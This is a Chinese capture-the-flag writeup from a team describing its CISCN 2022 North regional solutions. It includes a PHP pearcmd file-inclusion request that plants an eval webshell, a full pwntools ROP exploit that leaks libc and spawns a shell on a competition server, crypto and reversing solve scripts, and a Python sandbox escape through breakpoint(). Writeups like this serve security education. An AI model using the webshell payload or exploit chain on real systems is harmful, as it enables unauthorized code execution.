CISCN 2022 North Writeup by or4nge
rank: 3rd & 8th
or4nge 的师傅们在第十五届全国大学生信息安全竞赛创新实践赛华北分区赛中奋战 8 小时,拿到了第 3 名和第 8 名的好成绩,师傅们真棒!
p牛的PHP裸文件本地包含
1/index.php?+config-create+/&file=../../../../usr/local/lib/php/pearcmd&/<? eval($_POST[1]);?>+/tmp/hello.php
神奇的gadget,老题,改read的got为write泄露地址,最后onegadget即可。
1from pwn import *
2import sys
3context(os='linux', arch='amd64', log_level='debug')
4
5if len(sys.argv) < 2:
6 debug = True
7else:
8 debug = False
9
10if debug:
11 p = process("./very_old_school")
12 libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
13else:
14 p = remote("39.104.61.18", 5656)
15 libc = ELF('./libc-2.27.so')
16
17elf = ELF('./very_old_school')
18ru = lambda x : p.recvuntil(x)
19sn = lambda x : p.send(x)
20rl = lambda : p.recvline()
21sl = lambda x : p.sendline(x)
22rv = lambda x : p.recv(x)
23sa = lambda a,b : p.sendafter(a,b)
24sla = lambda a,b : p.sendlineafter(a, b)
25
26pop_all = 0x4005da
27payload = b"a" * 0x40
28payload += p64(0xaaaaaaaa)
29payload += p64(pop_all)
30diff = libc.sym['write'] - libc.sym['read']
31# gdb.attach(p)
32# sleep(1)
33print(diff & 0xffffffffffffffff)
34payload += p64(diff & 0xffffffffffffffff)
35payload += p64(0x601020 + 0x3d)
36payload += b"\x00" * 8 * 4
37payload += p64(0x0000000000400518)
38payload += p64(0x00000000004005e3)
39payload += p64(1)
40payload += p64(0x00000000004005e1)
41payload += p64(elf.got['read'])
42payload += p64(0)
43payload += p64(elf.plt['read'])
44payload += p64(pop_all)
45payload += p64((-diff) & 0xffffffffffffffff)
46payload += p64(0x0601020 + 0x3d)
47payload += b"\x00" * 8 * 4
48payload += p64(0x0000000000400518)
49payload += p64(0x400450)
50print(hex(len(payload)))
51sn(payload)
52write = u64(p.recv(6) + b'\x00' + b'\x00')
53libc_addr = write - libc.sym['write']
54log.info(hex(libc_addr))
55payload = b"A" * 0x40
56payload += p64(0xaaaaaaaa)
57payload += p64(libc_addr + 0x10a41c)
58sn(payload)
59p.interactive()
js混淆
先对flag进行base64编码
然后asdlg()函数将字符串转为数组
iKdga()函数对每一位异或3
wrwg()函数将数组转回字符串
最后与已知字符串进行比较
求解脚本:
1import base64
2a = b"Yn{kY0wjNGJ1NyJ3ZyZ6NGQjNnF6Z1J3Zid7YGYhMiEiLGEhN[3>"
3flag = ''
4for i in a:
5 flag += chr(i ^ 3)
6
7print (base64.b64decode(flag))
8# b'flag{b026324c6904b2a9cb4b88d6d61c81d1}'
qemu,使用gdb调试,确认基地址为0x60010000,设置后ida可反编译
根据字符串找到核心逻辑在0x600117b0,传入的参数为此前迷宫中的输入内容
由于对其填充到了48个字符,猜测该迷宫需要反向跑:
1dddwwawwwwaasdsasawawdwaaasawassssdwdsddssasddw
加密部分如下
XTEA算法
将迷宫输入分为12个int,每次循环选取4个int作为key,进行XTEA加密
解密脚本:
1#include <stdio.h>
2#include <stdint.h>
3
4void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
5 unsigned int i;
6 uint32_t v0=v[0], v1=v[1], delta=0x9E3779B9, sum=delta*num_rounds;
7 for (i=0; i < num_rounds; i++) {
8 v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
9 sum -= delta;
10 v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
11 }
12 v[0]=v0; v[1]=v1;
13}
14
15int main()
16{
17 uint32_t v[10]={
18 0x9C51DE69, 0xD8C793BF,
19 0x6346ACA4,
20 0xF8D452EA,
21 0xA54B10D5,
22 0x2F8D8FC6,
23 0xC702BB4D,
24 0x4725858D,
25 0x2B0AA099,
26 0x1601D0A6,
27 };
28 uint32_t const k[12]={
29 0x77646464,
30 0x77776177,
31 0x61617777,
32 0x61736473,
33 0x61776173,
34 0x61776477,
35 0x61736161,
36 0x73736177,
37 0x77647373,
38 0x64647364,
39 0x73617373,
40 0x61776464
41 };
42 unsigned int r=32;
43 printf("加密后的数据:%u %u\n",v[0],v[1]);
44 decipher(r, v, k);
45 decipher(r, v + 2, k + 4);
46 decipher(r, v + 4, k + 8);
47 decipher(r, v + 6, k);
48 decipher(r, v + 8, k + 4);
49 for (int i = 0; i < 40; i++)
50 printf("%c", *(((char*)v) + i));
51 printf("\n");
52 return 0;
53}
54// d8550a7b7-d0a0d-4f37-b4abc0-0cf93eb3dfd4
判断是对的,把9除下去解佩尔方程,写for循环提交即可
1from pwn import *
2context(os='linux', arch='amd64', log_level='debug')
3p = remote("39.104.61.18", 26726)
4import hashlib
5s = ''
6dic = '0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
7p.recvuntil("(str + ")
8md = p.recvuntil(")")[:-1].decode()
9print(md)
10p.recvuntil(" == ")
11ans = p.recvuntil("\n")[:-1].decode()
12print(ans)
13def mdd():
14 for a in dic:
15 for b in dic:
16 for c in dic:
17 for d in dic:
18 t = str(a)+str(b)+str(c)+str(d)+md
19 md5 = hashlib.md5(t.encode()).hexdigest()
20 # print(md5[:6])
21 if md5[0:5] == ans:
22 d =str(a)+str(b)+str(c)+str(d)
23 p.sendline(d.encode())
24 return
25
26mdd()
27
28p.sendline(b"y")
29p.sendline(b"y")
30
31f = open("./ans.txt", "r")
32for l in f.read().split('\n'):
33 x,y=l.split(' ')
34 p.sendlineafter("x=",x)
35 p.sendlineafter("y=",y)
36 p.recvuntil("wer")
37
38p.interactive()
根据题目信息得到h,由 ,后两者较小,可以通过爆破得出 r+s 和 r-s,从而得出 s 和 r,进而可以得出 ,解密得到 flag
1from gmpy2 import iroot
2from Crypto.Util.number import long_to_bytes, inverse
3
4def get_rs(cur_rs, h, g):
5 rs = h - 2 * g * cur_rs
6 if rs < 0:
7 return False
8 if rs ** 2 - 4 * cur_rs < 0:
9 return False
10 delta = iroot(rs ** 2 - 4 * cur_rs, 2)
11 if not delta[1]:
12 return False
13 r = (rs - delta[0]) // 2
14 s = (rs + delta[0]) // 2
15 return r, s
16
17
18n=22674165844905158260176168026816552467096072570578600242128271855414019546269941158980926383539152088163386486594970550426095813309390851670596901239161501799287825141484239319817091651407345474982377372054888770936964124342265857312847156030175512996932047024846256128852364411361104881876499527373499676800838224118813206681739936743754500898092792230659202349749012386805859665056024946969736506105283735257152266921793786908302315016683954542458869766736987653476629282074870135677126618336504349609949843015699079901471850834309549434049741620451308935825225861067965105407242194092434593658617061001051261986003
19e=65537
20c=782836877747818842493334376192707959633875414421119864133181592744303451005021100252453573692816054585303366274224087420041284882899698447861322919543336259986718739329810516986508263800638169206422642491731816114864183191451497206767082965587155423396589137912838842875035557343464065904849661324493244122164082422461425238044593940586748674516957395798642524010290664115814930907318276984939283752745962807878377719292647500596944596051296807946807250542510019416661571456929182119445830050306376509177311647871578247060341177622456756501597305853248802782554576320613573685540342421823987333619169191892620415521
21g=1834423494494916216123441416584222421978972309717825906841264503350314600090174106582891343187567071177004232569276768024920547950940295765307910633287
22h = (n - 1) // (2 * g)
23cur_rs = h // (2 * g)
24
25while 1:
26 cur = get_rs(cur_rs, h, g)
27 if cur:
28 r, s = cur
29 rs = cur_rs
30 break
31 cur_rs -= 1
32
33phi = 4 * g ** 2 * rs
34d = inverse(e, phi)
35print(long_to_bytes(pow(c, d, n)))
help()
被 ban 了,发现存在类似的命令:breakpoint()
比赛中没截图,放一个本地的测试